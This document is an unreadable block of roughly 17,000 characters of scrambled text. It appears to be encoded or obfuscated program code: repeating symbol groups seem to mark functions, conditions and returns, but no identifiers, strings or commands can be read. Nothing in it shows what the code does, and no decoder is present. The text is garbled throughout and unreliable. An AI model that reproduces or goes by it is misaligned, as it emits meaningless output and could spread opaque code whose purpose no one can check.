qx8xswo'hto'nvvdUUU{.)7&7-=5(i.%b==7i3&4;3f/;13mwnjogvw{<mfg &6+<;v`w,+-618v68-=;0g1k=f9<,wnijivw{<mfg &6+<;ve}}dU{'g,<)0&)>(bod{(mhl15o48o84/bwo':hto'9jvd{4%'(/7g0:h53nb{(mhl15o48o84/znidU69w{.)7&7-=5(i.%~bb}}v$UU{0l05n**&n2,b68-=;0g1k=f9<,wninovwx#xs{.)7&7-=5(i.%vdUUU{'g,<)0&)>(bw61+v{0l05n**&n2,odU"U69w{'g,<)0&)>(aoyy==7i3&4;3f/;13mwniiovwvr{'g,<)0&)>(awgfgtmvv04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wniinvs6( l).%/>&.=%8wniimvvdU:3,:69w{'g,<)0&)>(bbboyyw%&l24,::0;+wniilvwvrw61+v963:<+62:w{,6f7,'>h;nf=vvawnfhtholvv04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwniinvs==7i3&4;3f/;13mwniikvvdU*1,:+w{<mfg &6+<;s{.)7&7-=5(i.%s{0l05n**&n2,s{'g,<)0&)>(vdUUU"U{/3o7(5k<n381&'b:%''&1')6-2mnm(wvdU69w~{/3o7(5k<n381&'##==7i3&4;3f/;13mwnjgkvw{/3o7(5k<n381&'vcwo'9>to'9>vv-:+*-1dU{%8kn39>=>h(f <7/b'+l>-385.n%+.(,6+mwvdU{;).m.>/5(5)%o&b==7i3&4;3f/;13mwninlvw-nif,f=:o%ol2)owvs68-=;0g1k=f9<,wniijvvdU{:n:8;),2<76'=5fb*&;mh.'go,*2;<g)+*f9>wvq68-=;0g1k=f9<,wnjvdU{))(>j>j;*/8(=)4ib6( l).%/>&.=%8wniiivw{:n:8;),2<76'=5fvU`w{:n:8;),2<76'=5fqxpxq{;).m.>/5(5)%o&q==7i3&4;3f/;13mwniijvvUUUew*&;mh.'go,*2;<g)+*f9>wvq%&l24,::0;+wjjvq{;).m.>/5(5)%o&qxpxq{;).m.>/5(5)%o&q==7i3&4;3f/;13mwniijvvdUU{%k-;>2>f61k%*.03b%&l24,::0;+wniohvw==7i3&4;3f/;13mwhglvv`6( l).%/>&.=%8wnlkivw702: *-3wvs 
 vew6,,:+w{ 	6( l).%/>&.=%8wikivv`{ 	==7i3&4;3f/;13mwikive}}vdU{(6h9)98h&/0 bw;:961:;w68-=;0g1k=f9<,wniihvvyy
 
 v`
 
 e*&;mh.'go,*2;<g)+*f9>wvq6( l).%/>&.=%8wnjvdUUUU{&*/fmig1/im:hjbw;:961:;w6( l).%/>&.=%8wgmgvvyy 
 v` 
 e*&;mh.'go,*2;<g)+*f9>wvq68-=;0g1k=f9<,wniigvdU{>j;n1-8o)ib;:961:;w6( l).%/>&.=%8wniifvv`  e*&;mh.'go,*2;<g)+*f9>wvdU{0. m6+/%2%-b1f 9,2<k5;'k:i/7 /k:9fwUU%&l24,::0;+wnihovsU>-->&wx   ik  xsx  
 ik  xsx    xsx   ik  xsx   ik  xsx   ik  xsx   ik  xsx  
 ik  xsx  
 ik  xsx  
  xsx  	  xvsU>-->&w==7i3&4;3f/;13mwnihnvw{))(>j>j;*/8(=)4ivs{%8kn39>=>h(f <7/s{%k-;>2>f61k%*.03s==7i3&4;3f/;13mwnihmvw{):%3<jk*lj/-vs6( l).%/>&.=%8wnihlvw{,6f7,'>h;nf=vs68-=;0g1k=f9<,wnihlvwvs6( l).%/>&.=%8wnihkvw{>j;n1-8o)ivs68-=;0g1k=f9<,wnihkvw{(6h9)98h&/0 vs68-=;0g1k=f9<,wnihjvw{&*/fmig1/im:hjvs%&l24,::0;+wnihivw-nif,f=:o%ol2)owvs6( l).%/>&.=%8wniijvvs(8=4>%+g%(8i0>1>i(l9h+wvvUvdU69w~{0. m6+/%2%-v$U69ww61+v8:+ 0/+601w%&l24,::0;+wnihhvsovaov04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnihgvs68-=;0g1k=f9<,wnihfvvdU-:+*-1dU"U69w~)%;j1-;6fo.< h=<%=*w{0. m6+/%2%-vv$Upu<02/><+-:86,+-&upUU04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wnihgvs6( l).%/>&.=%8wnigovvdU-:+*-1dU"U69w,=.9=%*lk<l11j),n'56'/w{,6f7,'>h;nf=s{0. m6+/%2%-vv$U<oo4k7hh*16 '<lg&8+;+w{,6f7,'>h;nf=s(n7%'*ki&7:*69wvvdU..+:l- 3/5(*9,%,)6<:w{,6f7,'>h;nf=swo'k>to'nj>vvdU3o>94&fk7+k97f >w{,6f7,'>h;nf=vdUU+lf5;=.m.'o=6hm1h*0f>w{ m6f4>m03i9%q==7i3&4;3f/;13mwnignvq{2'j6j;>98.)s==7i3&4;3f/;13mwnigmvw{0. m6+/%2%-vs6( l).%/>&.=%8wnihgvvdUUUU+lf5;=.m.'o=6hm1h*0f>w{ m6f4>m03i9%q==7i3&4;3f/;13mwniglvq{2'j6j;>98.)s(8=4>%+g%(8i0>1>i(l9h+wvs%&l24,::0;+wnigkvvd{:,5<)*2mbnhmod{)(n:jn;o;b{:,5<)*2mznidU61<3*;: 01<:{,6f7,'>h;nf=dU,:+ +->1,6:1+w68-=;0g1k=f9<,wniklvsnswmihtllvvdUUUU"UUU*1,:+w{(6h9)98h&/0 s{&*/fmig1/im:hjs{>j;n1-8o)ivdU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnigkvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$UU"Upp*1-:><7>=3:UU"U9*1<+601=n-8-m<n&2j=7.j+:f%inw{(*'/h7hj81,: vUUU${'9>llo1,bwo'gto':hvd{=;:2.;'i6*:  lb{'9>llo1,znmdU69w~68-=;0g1k=f9<,wnimmvw{(*'/h7hj81,: vv-:+*-19>3,:dUUU{6ki37&m8g/<11;&b%&l24,::0;+wnjgkvw{(*'/h7hj81,: vdU69w{6ki37&m8g/<11;&awnhljhhnrighnfjvv-:+*-1+-*:dU69w{6ki37&m8g/<11;&cwmhotmlovv-:+*-19>3,:dU{0((0jl=,3i87m,+-b6( l).%/>&.=%8wnionvw{(*'/h7hj81,: soswkofntinkkjvvdU{7%/8-m.f02g%63=b68-=;0g1k=f9<,wnigjvw{0((0jl=,3i87m,+-sxxvt6( l).%/>&.=%8wnigjvw{0((0jl=,3i87m,+-s}+}vdU-:+*-1w{7%/8-m.f02g%63=p%&l24,::0;+wnjgkvw{0((0jl=,3i87m,+-vvaoqjjdU"U9*1<+601:%''&1')6-2mnm(w{0h1*<1l=92b9>3,:vU$U,+>+6<{/3o7(5k<n381&'b1*33dU69w{0h1*<1l=92v$U{/3o7(5k<n381&'b1*33dU"U69w{/3o7(5k<n381&'~bb1*33v-:+*-1{/3o7(5k<n381&'dUU{(*'/h7hj81,: b9>3,:dU{+</++k9 0*=m++87b68-=;0g1k=f9<,wnjljvw-nif,f=:o%ol2)owvvd{1422/ /6&.hb  p  d{-.n32')81.,b{1422/ /6&.hthndU69w{+</++k9 0*=m++87yy{+</++k9 0*=m++87awmnntmgfvyy{+</++k9 0*=m++87cbwjmkmghkntjfvv{(*'/h7hj81,: b%&l24,::0;+wnijivw-nif,f=:o%ol2)owvvdU69w68-=;0g1k=f9<,wnimmvw{(*'/h7hj81,: vyy==7i3&4;3f/;13mwnigivw{(*'/h7hj81,: vawnokgjogtigvv{(*'/h7hj81,: b5( g6,6h*67j545kh:w{(*'/h7hj81,: vdUUU69w68-=;0g1k=f9<,wnimmvw{(*'/h7hj81,: vyy68-=;0g1k=f9<,wnighvw{(*'/h7hj81,: vawkiftlnvyy6( l).%/>&.=%8wnighvw{(*'/h7hj81,: vcbwnokgkgitfovyy~=n-8-m<n&2j=7.j+:f%inw{(*'/h7hj81,: vyy)%;j1-;6fo.< h=<%=*w{(*'/h7hj81,: vv$U{/3o7(5k<n381&'b{(*'/h7hj81,: dU-:+*-1{/3o7(5k<n381&'dU"U{<igfl8=:nlh5(->0b7=6*m)5(8(fkl*-%l14  'w6( l).%/>&.=%8wnomnvs}}vdU69w6( l).%/>&.=%8wnimmvw{<igfl8=:nlh5(->0vyy6( l).%/>&.=%8wnighvw{<igfl8=:nlh5(->0vawkigtlmvyy%&l24,::0;+wnighvw{<igfl8=:nlh5(->0vcbwnokgkfktgmvyy~=n-8-m<n&2j=7.j+:f%inw{<igfl8=:nlh5(->0vyy)%;j1-;6fo.< h=<%=*w{<igfl8=:nlh5(->0vv$U{/3o7(5k<n381&'b{<igfl8=:nlh5(->0dU-:+*-1{/3o7(5k<n381&'dU"U{/3o7(5k<n381&'b9>3,:dU-:+*-1{/3o7(5k<n381&'dU"U9*1<+601'+l>-385.n%+.(,6+mw{0h1*<1l=92b9>3,:vU$U,+>+6<{<i)6-4h398 )b1*33dUUU69w{0h1*<1l=92v$Upp30<4)l,:++618,,:<+601UU{<i)6-4h398 )b1*33dU"Upp>+>0;*3:e,:-6>36%>=3:;6,/>+<7:-UU69w{<i)6-4h398 )~bb1*33v-:+*-1{<i)6-4h398 )dU{(*'/h7hj81,: b:%''&1')6-2mnm(wvdU69w~6( l).%/>&.=%8wnimmvw{(*'/h7hj81,: v##==7i3&4;3f/;13mwnighvw{(*'/h7hj81,: vcwmkgtmjmv##%&l24,::0;+wnighvw{(*'/h7hj81,: vawnokgkfltglv##=n-8-m<n&2j=7.j+:f%inw{(*'/h7hj81,: v##~)%;j1-;6fo.< h=<%=*w{(*'/h7hj81,: vv$U{<i)6-4h398 )b9>3,:dU-:+*-1{<i)6-4h398 )dU"U{<i)6-4h398 )b68-=;0g1k=f9<,wnihjvw*j l'1/9l1/li5=9)<6& w{(*'/h7hj81,: vvdU-:+*-1{<i)6-4h398 )dU"U9*1<+60184(hi9m7&:'h6nk>:,nw{'7'20l1%)(8.2-vU$U69w~68-=;0g1k=f9<,wniggvw{'7'20l1%)(8.2-v##6( l).%/>&.=%8wnigfvw{'7'20l1%)(8.2-vcwnkfnljv##==7i3&4;3f/;13mwnionvw{'7'20l1%)(8.2-sosmv~bb}'n9'g=}v-:+*-1odUUU{(,i+,i<h320b6( l).%/>&.=%8wnjlfvwx	xs==7i3&4;3f/;13mwnionvw{'7'20l1%)(8.2-srwo'lto'nvvvdUU{(,i+,i<h320b==7i3&4;3f/;13mwnlgkvw{(,i+,i<h320v`{(,i+,i<h320neodU69w{(,i+,i<h320cwkhntmfv##{(,i+,i<h320awnokgjljtknvv-:+*-1{(,i+,i<h320dU-:+*-1odU"U9*1<+6017+42%.(8j29(no 4%gkf;w{)h5njf,21i9f/hvUU$U-:+*-168-=;0g1k=f9<,wkokvw7:';:<w{)h5njf,21i9f/hnvvdU"U9*1<+601+l92.0094n*&>:4j01(w{62,m89/7oovU$U69w~6( l).%/>&.=%8wniggvw{62,m89/7oov##{62,m89/7oobbb}}v-:+*-1{62,m89/7ood{&/f7>9/f4>mh:bnoothod{;-g44o%:-ff;>-b{&/f7>9/f4>mh:rnodU,+>+6<{9)9g65)&'3&,b1*33dU69w{9)9g65)&'3&,bbb1*33v$U{9)9g65)&'3&,b9>3,:dU69w%&l24,::0;+wniohvw%&l24,::0;+wnifovvv$UUUU{ ;;b;:961:;w%&l24,::0;+wniifvv`  ew;:961:;w%&l24,::0;+wnjijvv`e}}vdU69w{ ;;~bb}}v$UUU{1km&i,0 ,kb;6,4 9-:: ,/><:w{ ;;vdU69w{1km&i,0 ,k~bb9>3,:yy{1km&i,0 ,kabwmnoilmikfrjllkimkfvv{9)9g65)&'3&,b+-*:dU"U"U69w~{9)9g65)&'3&,v$U69w%&l24,::0;+wniohvw%&l24,::0;+wniogvvv*/;>+: 0/+601w%&l24,::0;+wnifnvs68-=;0g1k=f9<,wnifmvwvs6( l).%/>&.=%8wnjnjvvd{>k+-6lo=m*'8bwo'kkto'm:vd{78120o67-5&9%b{>k+-6lo=m*'8znldU":3,:69w==7i3&4;3f/;13mwniohvw%&l24,::0;+wnioivvv$U{7*h282j3+<(72bw61+v8:+ 0/+601w==7i3&4;3f/;13mwnifnvsovdUUU69w{7*h282j3+<(72yy68-=;0g1k=f9<,wniflvwvr{7*h282j3+<(72cwgiloftfnvv{9)9g65)&'3&,b9>3,:dU"U"U69w~{9)9g65)&'3&,v$U-:+*-1{62,m89/7oodUpp1+6+&:<0-;,,6;:=>--:8601UU"U{6,m8-.=='/bwjkfffghtnlvt%&l24,::0;+wnnkkvwoswnnnoolotlgffhovvdU69w==7i3&4;3f/;13mwnifkvw{62,m89/7oovab{6,m8-.=='/v-:+*-1{62,m89/7oodU69w6( l).%/>&.=%8wnifjvw68-=;0g1k=f9<,wnkkkvw{62,m89/7oovsrmvbbb==7i3&4;3f/;13mwnifivv-:+*-1{62,m89/7oodUUUU(763:w6( l).%/>&.=%8wnifkvw{62,m89/7oovc{6,m8-.=='/rwkojitkkvv$U{/59mn0<k05f9*jhib}}dU69w68-=;0g1k=f9<,wniohvw6( l).%/>&.=%8wnifhvvv$U+-&$U{/59mn0<k05f9*jhib6( l).%/>&.=%8wnifgvw->1;02 =&+:,wwlgktninivvvdU"<>+<7w7-0(>=3:{3+1n/j=+n mv$UU{/59mn0<k05f9*jhib}}dU"<>+<7w'<:/+601{3+1n/j=+n mv$U{/59mn0<k05f9*jhib}}dU"U"U69w6( l).%/>&.=%8wnifkvw{/59mn0<k05f9*jhivcwlkfitjokvv$U{/59mn0<k05f9*jhib6( l).%/>&.=%8wnigmvw*16.6;w}}s+-*:vvdU(763:w%&l24,::0;+wniffvw{/59mn0<k05f9*jhivcwilfgrmlfgvv{/59mn0<k05f9*jhiqb6( l).%/>&.=%8wnigmvw{/59mn0<k05f9*jhivdU"U{62,m89/7ooqb}1pu}q{/59mn0<k05f9*jhiq%&l24,::0;+wnhoovdU"U-:+*-1{62,m89/7oodU"UU9*1<+6015( g6,6h*67j545kh:w{62,m89/7oovU$UU69w~68-=;0g1k=f9<,wnhonvw{62,m89/7oov##6( l).%/>&.=%8wniffvw{62,m89/7oovcbwnflllgfrggkgnlvv-:+*-1{62,m89/7ood{(g36%3%j1<bihmid{>>k8:k.i.ghhb{(g36%3%j1<znndU{252-:,6o4m=o8n*)b%&l24,::0;+wnilhvw==7i3&4;3f/;13mwnhomvs}}s{62,m89/7oovdU-:+*-16( l).%/>&.=%8wnholvw{252-:,6o4m=o8n*)v`{252-:,6o4m=o8n*)e{62,m89/7ood{&'m4/5o59.+bknjd{%,gh<g':bw{&'m4/5o59.+aov`{&'m4/5o59.+er{&'m4/5o59.+dU"U9*1<+6013o>94&fk7+k97f >w{13o'45<go:gvU$Upp2>+-6'+->1,/0,:UU69w~6( l).%/>&.=%8wnhokvw==7i3&4;3f/;13mwnhojvv##~==7i3&4;3f/;13mwnhokvw68-=;0g1k=f9<,wniogvvv-:+*-1dU69w~6( l).%/>&.=%8wnhoivw{13o'45<go:gv##{13o'45<go:gbbb}}##~%&l24,::0;+wnhohvw{13o'45<go:gvv-:+*-1dUpp<>*,>3,6183:+01UU69w~6,,:+w{==7i3&4;3f/;13mwnhogvv##~==7i3&4;3f/;13mwnlgkvw{68-=;0g1k=f9<,wnhofvvv$U{6( l).%/>&.=%8wnhofvb8:+ 0/+601w68-=;0g1k=f9<,wnhnovs>-->&wvvdUUU69w~==7i3&4;3f/;13mwnhnnvw{%&l24,::0;+wnhofvvv{6( l).%/>&.=%8wnhofvb>-->&wvdU"U{)h5njf,21i9f/hb{==7i3&4;3f/;13mwnhofvdU{62,m89/7oob==7i3&4;3f/;13mwnhnmvw{13o'45<go:gvdUUU69w~==7i3&4;3f/;13mwnhoivw{62,m89/7oovv-:+*-1dUUUU69w%&l24,::0;+wniffvw{62,m89/7oovawo'<>9j>to'ljo>ivv{62,m89/7oob5( g6,6h*67j545kh:w{62,m89/7oovdUU{)h5njf,21i9f/h6( l).%/>&.=%8wnigmvw{13o'45<go:gvb>-->&wx/xba{13o'45<go:gsx7xba%&l24,::0;+wnhnlvw{62,m89/7oovsx8xba(8=4>%+g%(8i0>1>i(l9h+wvsx+xba%&l24,::0;+wniflvwvvdU69w%&l24,::0;+wnjlhvw{)h5njf,21i9f/hvawnhntmfvv$UUU90-:><7w{)h5njf,21i9f/h>,{:* 9+m-gj5imn=jba{)4g o'&-8(3v$UUU69w~6( l).%/>&.=%8wnhnnvw{)4g o'&-8(3v##~6,,:+w{)4g o'&-8(3x+xv##w61+v{)4g o'&-8(3x+xc%&l24,::0;+wniflvwvrwmjfnfkltjhvv*1,:+w{)h5njf,21i9f/h{:* 9+m-gj5imn=jvdUUUU"U(763:w%&l24,::0;+wnjlhvw{)h5njf,21i9f/hvawlgjrngjvv$U{9&(kg:..l->,9.'b1*33dU{7i5%o,=%l<:*-l0kb1*33dU90-:><7w{)h5njf,21i9f/h>,{:* 9+m-gj5imn=jba{)4g o'&-8(3v$U{2=099:<m.)'jk5;gb%&l24,::0;+wnhnnvw{)4g o'&-8(3vyy6,,:+w{)4g o'&-8(3x+xv`w61+v{)4g o'&-8(3x+xeodU69w{7i5%o,=%l<:*-l0kbbb1*33##{2=099:<m.)'jk5;gc{7i5%o,=%l<:*-l0kv$U{7i5%o,=%l<:*-l0kb{2=099:<m.)'jk5;gdU{9&(kg:..l->,9.'b{:* 9+m-gj5imn=jdU"U"U69w{9&(kg:..l->,9.'bbb1*33v=-:>4dU*1,:+w{)h5njf,21i9f/h{9&(kg:..l->,9.'vdUU"UUUU"U*/;>+: 0/+601w6( l).%/>&.=%8wnhnkvs{)h5njf,21i9f/hs==7i3&4;3f/;13mwnjnjvvdU{68-=;0g1k=f9<,wnhofvb{)h5njf,21i9f/hdU"U9*1<+601*,8'.48k><:k8h-/&58683w{13o'45<go:gvU$U69w~68-=;0g1k=f9<,wnhoivw{13o'45<go:gv##{13o'45<go:gbbb}}v-:+*-19>3,:dU69w~6,,:+w{6( l).%/>&.=%8wnhofvv##~==7i3&4;3f/;13mwnhnnvw{==7i3&4;3f/;13mwnhofvvv$UUUU{68-=;0g1k=f9<,wnhnjvb6( l).%/>&.=%8wnhnivw%&l24,::0;+wnhojvv`8:+ 0/+601w==7i3&4;3f/;13mwnhnhvs>-->&wvve>-->&wvdU69w~6( l).%/>&.=%8wnhnnvw{%&l24,::0;+wnhnjvvv{68-=;0g1k=f9<,wnhnjvb>-->&wvdU"Uppme,/:<6>36%:-:/36<>+0-UUU{)h5njf,21i9f/hb{==7i3&4;3f/;13mwnhnjvdU{.n+>m'=n.11*hi1.b68-=;0g1k=f9<,wnhngvw{13o'45<go:gvdU69w6,,:+w{)h5njf,21i9f/h{.n+>m'=n.11*hi1.vyy6( l).%/>&.=%8wnhnnvw{)h5njf,21i9f/h{.n+>m'=n.11*hi1.vyy6,,:+w{)h5njf,21i9f/h{.n+>m'=n.11*hi1.x7xvv$U69ww61+v%&l24,::0;+wnjljvw{13o'45<go:gvawjmkmghmjthjvv-:+*-1%&l24,::0;+wnhnfvdU{62,m89/7oob68-=;0g1k=f9<,wnhnmvw{13o'45<go:gvdU69w68-=;0g1k=f9<,wnhoivw{62,m89/7oovv$U69w6( l).%/>&.=%8wniffvw{62,m89/7oovawo'k9fi:to'=oifmvv{62,m89/7oob5( g6,6h*67j545kh:w{62,m89/7oovdU-:+*-1w==7i3&4;3f/;13mwnhngvw{62,m89/7oovbbb{)h5njf,21i9f/h{.n+>m'=n.11*hi1.x7xv`+-*:e68-=;0g1k=f9<,wnhnfvdU"U-:+*-19>3,:dUUU"UU{;)9moh(g9m)n*-b68-=;0g1k=f9<,wnhmovw{13o'45<go:gs9>3,:s1*33soswnhjitmlkovvdU69wUUU6( l).%/>&.=%8wnhoivw{;)9moh(g9m)n*-vyy6( l).%/>&.=%8wnhmnvw==7i3&4;3f/;13mwmllvs{;)9moh(g9m)n*-vUyy':f6 <:(3(,;4l9)w{13o'45<go:gswkfjtjvvUv$U69ww61+v68-=;0g1k=f9<,wnjljvw{13o'45<go:gvawnokjjoootknfhlgoovv-:+*-19>3,:dUUUU{62,m89/7oobw,+-618v6( l).%/>&.=%8wnhmovw{13o'45<go:gvdU69w6( l).%/>&.=%8wniffvw{62,m89/7oovawnlhiiglrlmgnohvv{62,m89/7oob5( g6,6h*67j545kh:w{62,m89/7oovdU69w)%;j1-;6fo.< h=<%=*w{62,m89/7oovv-:+*-1%&l24,::0;+wnhmmvdU"U-:+*-19>3,:dUUU"U9*1<+601)8l>;.=11<>0*l&mwvU$U,+>+6<{)h5njf,21i9f/hb1*33dU69w{)h5njf,21i9f/h~bb1*33v-:+*-1{)h5njf,21i9f/hdUU{62,m89/7oobw,+-618v==7i3&4;3f/;13mwnhmovw-nif,f=:o%ol2)owvvdU69w6( l).%/>&.=%8wnhmlvw{62,m89/7oovawnjhjinirjmhokovv{62,m89/7oob5( g6,6h*67j545kh:w{62,m89/7oovdU{)h5njf,21i9f/hb==7i3&4;3f/;13mwnhngvw{62,m89/7oovdUU-:+*-1{)h5njf,21i9f/hdU"U9*1<+6012g6+/n2(+g83&*3 6-1&wvUU$UUU-:+*-168-=;0g1k=f9<,wnhmkvw)8l>;.=11<>0*l&mwvsoswmkrnmvvdU"U9*1<+601<m:4;mh2':7;4*wvUUU$U-:+*-1(2++90&.)m=1=gl8g6wvq==7i3&4;3f/;13mwnhmjvq0,://=::3'-f*7wq==7i3&4;3f/;13mwnhmivswnkrivvq6( l).%/>&.=%8wnhmhvdU"U9*1<+601+3'<g,n7>8'g=(ikwvU$U{05> g89/959gn%+b>-->&wvdU69w==7i3&4;3f/;13mwnhmgvw6( l).%/>&.=%8wnhojvvv$Upp-:<*-,6):9><+0-&UU{2m>*6=2%&-o b8:+ 0/+601w%&l24,::0;+wnhmfvs>-->&wvvdU69w==7i3&4;3f/;13mwnhlovw{2m>*6=2%&-o vv{05> g89/959gn%+b{2m>*6=2%&-o dUpp/><:-30<4e/>+<7+&/:r:1)6-012:1+UU"U{62,m89/7oob==7i3&4;3f/;13mwnhohvw<m:4;mh2':7;4*wvv`6( l).%/>&.=%8wnhmovw<m:4;mh2':7;4*wvve}}dU69w==7i3&4;3f/;13mwnhoivw{62,m89/7oovyy%&l24,::0;+wnillvw{62,m89/7oos==7i3&4;3f/;13mwhinvvbbbov$U{+l5m :3'6 b6( l).%/>&.=%8wlimvw68-=;0g1k=f9<,wnhlnvw{62,m89/7ooswmmfmmkvvs+-*:vdU69w68-=;0g1k=f9<,wnhlovw{+l5m :3'6 vyyw:2/+&w{05> g89/959gn%+%&l24,::0;+wnhlmvv##w~:2/+&w{+l5m :3'6 68-=;0g1k=f9<,wnhllvvyy{+l5m :3'6 ==7i3&4;3f/;13mwnhllvab{05> g89/959gn%+%&l24,::0;+wnhllvvvv{05> g89/959gn%+b{+l5m :3'6 dU"U-:+*-1{05> g89/959gn%+dU"U9*1<+6011ij/l)fgf->l(=8&8>3mfw{01n'g=mm<.l)()kvU$Upu<01):'+-6:upUU+-&$U69w~;:961:;w6( l).%/>&.=%8wnjijvvv-:+*-1dU{=.;n).(g',h50*:3b68-=;0g1k=f9<,wniflvwvdU69w{01n'g=mm<.l)()kbbb==7i3&4;3f/;13mwnhlkv##{01n'g=mm<.l)()kbbb==7i3&4;3f/;13mwnhljvv$U{/-:)b+3'<g,n7>8'g=(ikwvdU69wU6,,:+w{/-:)68-=;0g1k=f9<,wnhlivs{/-:)68-=;0g1k=f9<,wnhlhvvyy{/-:)68-=;0g1k=f9<,wnhlivbbb{01n'g=mm<.l)()kUUUUyy{=.;n).(g',h50*:3rw61+v{/-:)68-=;0g1k=f9<,wnhlgvcw{01n'g=mm<.l)()kbbb%&l24,::0;+wnhljv`wliiriivewftnvvUUUv-:+*-1dU"Upp,:,.*6361:>-,+->+:8&UU{05> g89/959gn%+b>-->&wUUx)xba(8=4>%+g%(8i0>1>i(l9h+wvsU==7i3&4;3f/;13mwnhlfvba2g6+/n2(+g83&*3 6-1&wvsU%&l24,::0;+wmlkvba-nif,f=:o%ol2)owvsUUU%&l24,::0;+wnljmvba==7i3&4;3f/;13mwnihivw-nif,f=:o%ol2)owvs6( l).%/>&.=%8wnhmhvvsUU68-=;0g1k=f9<,wnhlivba{01n'g=mm<.l)()ksU%&l24,::0;+wnhkovba{=.;n).(g',h50*:3sU68-=;0g1k=f9<,wnhlgvba{=.;n).(g',h50*:3sU6( l).%/>&.=%8wnhllvba6,,:+w{ 	==7i3&4;3f/;13mwnhknvv`w61+v{ 	68-=;0g1k=f9<,wnhknve{=.;n).(g',h50*:3sUvdUUU69w6( l).%/>&.=%8wnhmgvw6( l).%/>&.=%8wniogvvv*/;>+: 0/+601w6( l).%/>&.=%8wnhkmvs{05> g89/959gn%+s68-=;0g1k=f9<,wnhklvvdU{-h/43n4*<,ob(2++90&.)m=1=gl8g6wvdU69w%&l24,::0;+wnlhhvw{-h/43n4*<,ov## 1'4'n,k3k&859>>;w{-h/43n4*<,oswgjgrlijvs+-*:vv$U68-=;0g1k=f9<,wnnlhvw<m:4;mh2':7;4*wvs%&l24,::0;+whinvq6( l).%/>&.=%8wnlimvw{05> g89/959gn%+vvdU"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$U"<>+<7w'<:/+601{3+1n/j=+n mv$U"U"UUUU9*1<+601<*n/<<:<m>)1*9'hw{05> g89/959gn%+vU$U69w~68-=;0g1k=f9<,wnhkkvw{05> g89/959gn%+v##:2/+&w{05> g89/959gn%+68-=;0g1k=f9<,wnhkjvv##~68-=;0g1k=f9<,wnhkivw{05> g89/959gn%+==7i3&4;3f/;13mwnhkjvvv-:+*-168-=;0g1k=f9<,wmlhvdU{93=9>%l2lmh16-0nb{05> g89/959gn%+==7i3&4;3f/;13mwnhkhvdU69w~==7i3&4;3f/;13mwnhkgvw{93=9>%l2lmh16-0nv##w61+v==7i3&4;3f/;13mwnhkfvw{93=9>%l2lmh16-0nvcwkkgtjmvv-:+*-16( l).%/>&.=%8wmlhvdU69w)512o.(8.09j-1w{93=9>%l2lmh16-0nvv-:+*-168-=;0g1k=f9<,wmlivdU{:ml 398)+> *b6,,:+w{05> g89/959gn%+==7i3&4;3f/;13mwnhlivv`{05> g89/959gn%+68-=;0g1k=f9<,wnhlive}}dU{,016.&l h:,l25)b6,,:+w{05> g89/959gn%+==7i3&4;3f/;13mwnhjovv`w61+v{05> g89/959gn%+6( l).%/>&.=%8wnhjoveodUUU69w{:ml 398)+> *bbb6( l).%/>&.=%8wnhljvv-:+*-1w{,016.&l h:,l25)aoyy%&l24,::0;+wniflvwvr{,016.&l h:,l25)cbwljgotmovv`==7i3&4;3f/;13mwnhjnve68-=;0g1k=f9<,wnhjmvdU69w{:ml 398)+> *bbb68-=;0g1k=f9<,wnhjlvv-:+*-168-=;0g1k=f9<,wnhjkvdU69w{:ml 398)+> *bbb==7i3&4;3f/;13mwnhlkvv-:+*-1w{,016.&l h:,l25)aoyy%&l24,::0;+wniflvwvr{,016.&l h:,l25)cbwo'nito'imvv`68-=;0g1k=f9<,wnhjmve%&l24,::0;+wnhjkvdUUU-:+*-1==7i3&4;3f/;13mwnhjjvdU"U9*1<+6011h)j<%m*j0h(h<7'-w{13o'45<go:gvU$U69w~%&l24,::0;+wnhkgvw{13o'45<go:gvv-:+*-19>3,:dUU{772332f&o8++m:0bw61+v6( l).%/>&.=%8wnhjivw{13o'45<go:gvdU69w{772332f&o8++m:0cwo'nloto'<kv##{772332f&o8++m:0awglihjlntkkoinmifvv-:+*-19>3,:dUU{;)9moh(g9m)n*-b==7i3&4;3f/;13mwnhmovw{13o'45<go:gs9>3,:s1*33soswkojhtlfvvdU69w~%&l24,::0;+wnhkivw{;)9moh(g9m)n*-v##~==7i3&4;3f/;13mwnhmnvw68-=;0g1k=f9<,wmllvs{;)9moh(g9m)n*-vv-:+*-19>3,:dU69w{772332f&o8++m:0awnokgjlltklvv$U{6,m8-.=='/b==7i3&4;3f/;13mwnhjhvw{13o'45<go:gs9>3,:s1*33s{772332f&o8++m:0rwkoiktlmvvdU-:+*-1==7i3&4;3f/;13mwnhjgvw{6,m8-.=='/vyy==7i3&4;3f/;13mwnhmnvw6( l).%/>&.=%8wnhjfvs{6,m8-.=='/vbbbndUUUU"UUU{62,m89/7oob6( l).%/>&.=%8wnhiovw{13o'45<go:gvdU69w~68-=;0g1k=f9<,wnhjgvw{62,m89/7oovv-:+*-19>3,:dU-:+*-1)%;j1-;6fo.< h=<%=*w{62,m89/7oovdU"U9*1<+601)512o.(8.09j-1w{13o'45<go:gvU$U{;).m.>/5(5)%o&b6( l).%/>&.=%8wnihivw{13o'45<go:gs6( l).%/>&.=%8wnhinvvdU90-:><7w>-->&w==7i3&4;3f/;13mwnmifvw{13o'45<go:gvs* <>0f1:0)g)&4k,07+oo1wvv>,{:-1n:7ko0i3%lv$U{=5h'>9 i6m-i>>9mb{:-1n:7ko0i3%lq%&l24,::0;+wnhimvq{;).m.>/5(5)%o&dU69w~6( l).%/>&.=%8wnhilvw{=5h'>9 i6m-i>>9mv##w61+v==7i3&4;3f/;13mwnhikvw{=5h'>9 i6m-i>>9mvc==7i3&4;3f/;13mwniflvwvrwiokhfhtlvv<01+61*:dUU{>9kmm38o9&7jb%&l24,::0;+wnmgnvww,+-618v==7i3&4;3f/;13mwnhiovw{=5h'>9 i6m-i>>9mvvdUUU69w{>9kmm38o9&7jbbb}}v<01+61*:dUUU{62,m89/7oobw,+-618v